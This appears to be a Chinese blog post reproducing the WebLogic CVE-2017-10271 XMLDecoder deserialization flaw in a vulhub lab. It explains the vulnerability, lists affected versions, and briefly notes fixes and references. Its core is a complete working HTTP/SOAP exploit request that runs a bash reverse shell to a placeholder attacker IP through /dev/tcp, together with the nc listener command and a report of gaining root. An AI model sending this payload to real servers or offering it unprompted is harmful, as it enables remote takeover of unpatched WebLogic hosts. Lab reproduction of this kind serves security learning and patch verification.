标签:ring nat 建网站 pre apach 地址 builder 解析 图片
WebLogic是由oracle公司开发的一个webserver,如同IIS,APACHE,webserver是用来构建网站的软件,用来解析发布网页等功能。WebLogic在国内的应用范围比较广泛,支撑着很多企业的核心任务。
WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞,Java调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。
受影响的受支持版本是10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。
XMLDecoder用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下。
访问http://your-ip:7001/,看到一个404页面后,说明weblogic已经启动成功。
接下来使用burp构造poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/shell-ip/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
在攻击机上使用nc进行监听:
nc -l -p 21
使用burp向靶机发送Poc,注意靶机的IP地址和端口以及攻击机的ip:
可以看到成功反弹shell得到root权限:
一开始使用了触发页面截取的数据包,没有复现成功,所以要注意Poc的构建。
更新到最新版本
限制对访问wls-wsat资源的访问
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
https://blog.csdn.net/he_and/article/details/90582262
https://www.exploit-db.com/exploits/43458
https://blog.csdn.net/SKI_12/article/details/85058040
Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
标签:ring nat 建网站 pre apach 地址 builder 解析 图片
原文地址:https://www.cnblogs.com/Son01/p/13353238.html